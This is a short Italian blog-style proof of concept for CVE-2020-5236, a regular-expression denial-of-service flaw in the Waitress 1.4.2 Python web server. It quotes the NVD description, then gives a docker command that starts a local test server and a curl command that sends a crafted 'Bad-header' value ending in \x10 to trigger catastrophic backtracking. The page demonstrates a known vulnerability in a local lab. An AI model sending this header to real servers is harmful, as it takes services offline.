
Waitress 1.4.2 ReDoS - CVE-2020-5236 (Codice di esempio del blog)
La versione 1.4.2 di Waitress consente un attacco DoS quando Waitress riceve un header contenente caratteri non validi. Quando viene ricevuto un header come "Bad-header: xxxxxxxxxxxxxxx\x10", provoca un backtracking catastrofico nel motore delle espressioni regolari, facendo sì che il processo utilizzi il 100% del tempo della CPU e bloccando qualsiasi altra interazione. Ciò consente a un attaccante di inviare una singola richiesta con un header non valido e mettere offline il servizio.
di NVD
$ docker run --rm --name waitress -v "$PWD/src:/src" -p "8080:8080" -it python:3.7-slim python /src/server.py
$ curl "http://127.0.0.1:8080/hello/hogefuga" -H "Bad-header: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx`echo -n '\x10'`"
Mostra l'utilizzo della CPU per il server. Esegui "docker stats waitress".
↓ Esegui PoC

